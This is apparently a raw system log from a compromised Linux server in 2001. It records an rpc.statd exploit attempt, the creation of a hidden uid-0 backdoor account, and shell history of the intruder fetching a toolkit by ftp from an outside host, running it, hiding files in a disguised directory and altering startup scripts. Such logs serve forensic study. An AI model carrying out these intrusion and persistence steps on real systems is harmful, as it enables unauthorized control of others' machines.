<94>ftpd[5074]: lost connection to AC8817A4.ipt.aol.com [172.136.23.164] <94>ftpd[5074]: FTP session closed <28>inetd[449]: pid 5074: exit status 255 <94>ftpd[5075]: lost connection to AC8817A4.ipt.aol.com [172.136.23.164] <94>ftpd[5075]: FTP session closed <28>inetd[449]: pid 5075: exit status 255 <173>rpc.statd[318]: gethostbyname error for ^X^X^Z^Zbffff710 804971090909090687465676274736f6d616e797265206520726f7220726f66 <30>telnetd[5150]: ttloop: peer died: EOF <28>inetd[449]: pid 5150: exit status 1 <30>telnetd[5151]: ttloop: peer died: EOF <28>inetd[449]: pid 5151: exit status 1 <30>telnetd[5366]: ttloop: peer died: EOF <28>inetd[449]: pid 5366: exit status 1 <77>anacron[5423]: Updated timestamp for job `cron.daily' to 2001-09-16 <33>PAM_pwdb[5608]: get passwd; pwdb: request not recognized <37>login[5608]: FAILED LOGIN 1 FROM 217.156.93.166 FOR nobody, Authentication service cannot retrieve authentication info. <33>PAM_pwdb[5608]: get passwd; pwdb: request not recognized <37>login[5608]: FAILED LOGIN 2 FROM 217.156.93.166 FOR nobody, Authentication service cannot retrieve authentication info. <28>inetd[449]: pid 5607: exit status 1 <94>ftpd[5609]: ANONYMOUS FTP LOGIN FROM 207.35.251.172 [207.35.251.172], mozilla@ <77>anacron[5668]: Updated timestamp for job `cron.weekly' to 2001-09-16 <38>PAM_pwdb[8608]: (login) session opened for user nobody by (uid=0) <174>-sh: HISTORY: PID=8609 UID=99 w <38>PAM_pwdb[8608]: (login) session closed for user nobody <28>inetd[449]: pid 8607: exit status 1 <38>adduser[8632]: new user: name=dns, uid=0, gid=0, home=/bin, shell=/bin/bash <38>PAM_pwdb[8645]: (login) session opened for user nobody by (uid=0) <174>-sh: HISTORY: PID=8646 UID=99 su dns <38>PAM_pwdb[8661]: (su) session opened for user dns by nobody(uid=99) <174>bash: HISTORY: PID=8662 UID=0 w <174>bash: HISTORY: PID=8662 UID=0 cd /tmp <174>bash: HISTORY: PID=8662 UID=0 mc -s <174>bash: HISTORY: PID=8662 UID=0 cd /dev/rd <174>bash: HISTORY: PID=8662 UID=0 ftp teleport.go.ro <174>bash: HISTORY: PID=8662 UID=0 mkdir sdc0 <174>bash: HISTORY: PID=8662 UID=0 cd sdc0 <174>bash: HISTORY: PID=8662 UID=0 ls <174>bash: HISTORY: PID=8662 UID=0 ftp teleport.go.ro <174>bash: HISTORY: PID=8662 UID=0 tar zxvf Zer0.tar.gz <174>bash: HISTORY: PID=8662 UID=0 cd Zer0/ <174>bash: HISTORY: PID=8662 UID=0 ls <37>rshd[8683]: Connection from 207.35.251.172 on illegal port <28>inetd[449]: pid 8683: exit status 1 <30>telnetd[8684]: ttloop: peer died: EOF <28>inetd[449]: pid 8684: exit status 1 <94>ftpd[8685]: FTP session closed <37>rlogind[8686]: Connection from 207.35.251.172 on illegal port <28>inetd[449]: pid 8686: exit status 1 <27>fingerd[8690]: Client hung up - probable port-scan <28>inetd[449]: pid 8690: exit status 1 <174>bash: HISTORY: PID=8662 UID=0 ./Go 24 <174>-sh: HISTORY: PID=9382 UID=0 w <174>-sh: HISTORY: PID=9382 UID=0 whoami <38>PAM_pwdb[8661]: (su) session closed for user dns <38>PAM_pwdb[8645]: (login) session closed for user nobody <28>inetd[449]: pid 8644: exit status 1 <174>-sh: HISTORY: PID=9382 UID=0 cd /dev/rd/sdc0 <174>-sh: HISTORY: PID=9382 UID=0 ls <174>-sh: HISTORY: PID=9382 UID=0 rm Zer0.tar.gz <174>-sh: HISTORY: PID=9382 UID=0 ls <174>-sh: HISTORY: PID=9382 UID=0 alias ls='ls --color' <174>-sh: HISTORY: PID=9382 UID=0 ls <174>-sh: HISTORY: PID=9382 UID=0 ls <174>-sh: HISTORY: PID=9382 UID=0 passwd nobody <38>PAM_pwdb[9406]: password for (nobody/99) changed by ((null)/0) <38>PAM_pwdb[9409]: (login) session opened for user uucp by (uid=0) <38>PAM_pwdb[9409]: (login) session closed for user uucp <28>inetd[449]: pid 9408: exit status 1 <174>-sh: HISTORY: PID=9382 UID=0 ping www.yahoo.com <174>-sh: HISTORY: PID=9382 UID=0 pico /etc/rc.d/rc3.d/S50inet <174>-sh: HISTORY: PID=9382 UID=0 ls <174>-sh: HISTORY: PID=9382 UID=0 mv copy.tar.gz /usr/X11R6/bin/.,/copy/ <174>-sh: HISTORY: PID=9382 UID=0 cd /usr/X11R6/bin/.,/copy/ <174>-sh: HISTORY: PID=9382 UID=0 mv copy.tar.gz ../ <174>-sh: HISTORY: PID=9382 UID=0 ls <174>-sh: HISTORY: PID=9382 UID=0 cd .. <174>-sh: HISTORY: PID=9382 UID=0 tar zxvf copy.tar.gz <174>-sh: HISTORY: PID=9382 UID=0 chmod 7777 * <174>-sh: HISTORY: PID=9382 UID=0 ls <174>-sh: HISTORY: PID=9382 UID=0 rm copy.tar.gz <174>-sh: HISTORY: PID=9382 UID=0 cd copy <174>-sh: HISTORY: PID=9382 UID=0 chmod 7777 * <174>-sh: HISTORY: PID=9382 UID=0 ls <174>-sh: HISTORY: PID=9440 UID=0 uname -r <174>-sh: HISTORY: PID=9440 UID=0 pstree